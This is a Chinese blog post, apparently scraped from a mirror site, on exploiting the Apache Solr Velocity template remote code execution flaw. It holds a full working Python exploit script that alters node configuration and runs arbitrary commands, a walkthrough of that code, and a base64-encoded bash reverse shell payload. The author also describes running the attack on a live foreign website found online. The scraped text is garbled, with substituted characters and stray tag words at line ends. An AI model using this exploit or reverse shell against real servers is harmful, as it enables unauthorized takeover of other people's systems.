Solr是创建在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。java
Solr具备高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。node
该漏洞的产生是因为两方面的缘由:python
当攻击者能够直接访问Solr控制台时,能够经过发送相似/节点名/config的POST请求对该节点的配置文件作更改。git
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否容许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将容许用户经过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者能够经过构造一个具备威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)github
影响范围:5.x - 8.2.0docker
须要具备config apishell
翻了挺久,不少站都是没有core admin中的用户(自我理解),或是有的站已经有所防御,开启了密码验证,测试了不少站,发现一个外国的一个站能够完美复现。(纯属本身不喜欢手动搭建)apache
/solr/用户名/config
poc成功json
很幸运,solr进程是以root用户权限执行的,通常应该是solr权限。api
只能执行一个命令,ls,pwd,whoami,id等单个命令。遗憾,不懂java,不知道是否是能够改为完整RCE的exp
""" auth: @l3_W0ng version: 1.0 function: Apache Solr RCE via Velocity template usage: python3 script.py ip [port [command]] default port=8983 default command=whoami note: Step1: Init Apache Solr Configuration Step2: Remote Exec in Every Solr Node """ import sys import json import time import requests class initSolr(object): timestamp_s = str(time.time()).split('.') timestamp = timestamp_s[0] + timestamp_s[1][0:-3] def __init__(self, ip, port): self.ip = ip self.port = port def get_nodes(self): payload = { '_': self.timestamp, 'indexInfo': 'false', 'wt': 'json' } url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores' try: nodes_info = requests.get(url, params=payload, timeout=5) node = list(nodes_info.json()['status'].keys()) state = 1 except: node = '' state = 0 if node: return { 'node': node, 'state': state, 'msg': 'Get Nodes Successfully' } else: return { 'node': None, 'state': state, 'msg': 'Get Nodes Failed' } def get_system(self): payload = { '_': self.timestamp, 'wt': 'json' } url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system' try: system_info = requests.get(url=url, params=payload, timeout=5) os_name = system_info.json()['system']['name'] os_uname = system_info.json()['system']['uname'] os_version = system_info.json()['system']['version'] state = 1 except: os_name = '' os_uname = '' os_version = '' state = 0 return { 'system': { 'name': os_name, 'uname': os_uname, 'version': os_version, 'state': state } } class apacheSolrRCE(object): def __init__(self, ip, port, node, command): self.ip = ip self.port = port self.node = node self.command = command self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node def init_node_config(self): url = self.url + '/config' payload = { 'update-queryresponsewriter': { 'startup': 'lazy', 'name': 'velocity', 'class': 'solr.VelocityResponseWriter', 'template.base.dir': '', 'solr.resource.loader.enabled': 'true', 'params.resource.loader.enabled': 'true' } } try: res = requests.post(url=url, data=json.dumps(payload), timeout=5) if res.status_code == 200: return { 'init': 'Init node config successfully', 'state': 1 } else: return { 'init': 'Init node config failed', 'state': 0 } except: return { 'init': 'Init node config failed', 'state': 0 } def rce(self): url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom=" "%23set($x=%27%27)+" "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+" "%23set($chr=$x.class.forName(%27java.lang.Character%27))+" "%23set($str=$x.class.forName(%27java.lang.String%27))+" "%23set($ex=$rt.getRuntime().exec(%27" + self.command + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+" "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end") try: res = requests.get(url=url, timeout=5) if res.status_code == 200: try: if res.json()['responseHeader']['status'] == '0': return 'RCE failed @Apache Solr node %s\n' % self.node else: return 'RCE failed @Apache Solr node %s\n' % self.node except: return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0')) else: return 'RCE failed @Apache Solr node %s\n' % self.node except: return 'RCE failed @Apache Solr node %s\n' % self.node def check(ip, port='8983', command='whoami'): system = initSolr(ip=ip, port=port) if system.get_nodes()['state'] == 0: print('No Nodes Found. Remote Exec Failed!') else: nodes = system.get_nodes()['node'] systeminfo = system.get_system() os_name = systeminfo['system']['name'] os_version = systeminfo['system']['version'] print('OS Realese: %s, OS Version: %s\nif remote exec failed, ' 'you should change your command with right os platform\n' % (os_name, os_version)) for node in nodes: res = apacheSolrRCE(ip=ip, port=port, node=node, command=command) init_node_config = res.init_node_config() if init_node_config['state'] == 1: print('Init node %s Successfully, exec command=%s' % (node, command)) result = res.rce() print(result) else: print('Init node %s Failed, Remote Exec Failed\n' % node) if __name__ == '__main__': usage = ('python3 script.py ip [port [command]]\n ' '\t\tdefault port=8983\n ' '\t\tdefault command=whoami') if len(sys.argv) == 4: ip = sys.argv[1] port = sys.argv[2] command = sys.argv[3] check(ip=ip, port=port, command=command) elif len(sys.argv) == 3: ip = sys.argv[1] port = sys.argv[2] check(ip=ip, port=port) elif len(sys.argv) == 2: ip = sys.argv[1] check(ip=ip) else: print('Usage: %s:\n' % usage)
分析下exp.py,经过访问/solr/admin/cores获取返回的json()对象中的['status']
list(nodes_info.json()['status'].keys())
而后在经过字典方法keys,返回全部的键。
而后在initSolr中get_nodes返回一个字典,讲获取的两个node名,做为'node'的键值
return { 'node': node, 'state': state, 'msg': 'Get Nodes Successfully' }
而后就是经过/solr/admin/info/system获取主机的相关信息
system_info = requests.get(url=url, params=payload, timeout=5) os_name = system_info.json()['system']['name'] os_uname = system_info.json()['system']['uname'] os_version = system_info.json()['system']['version'] state = 1
最后调用rce方法,将poc的get和post带上,迭代数组中的两个node(不必定就是两个,视主机状况而定)尝试RCE,而后获取返回值
pyexp实验以下:
只能执行单个命令,没法执行带空格的命令。好比ls -l ,cat xxx等
今天看到了能够反弹shell的命令,因此尝试一波
利用vulnhub的环境复现
/vulhub/solr/CVE-2019-0193/
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建成功
再好好的复现一遍。
发现不能单纯的靠空格来,由于是直接用的get传数据,因此得加个%20或者+号做为空格。post数据是已经url编码过的,因此须要将咱们的命令再urlencode的一遍便可。
通过不少搜索发现,java的RCE中反弹shell的payload不少都会修改为SpEL语句,即Spring表达式语言(本人对java知之甚少)
反弹shell payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}
再进行urlencode一次就能够了。
exp直接能够反弹到shell。这里不实验了。撸做业了。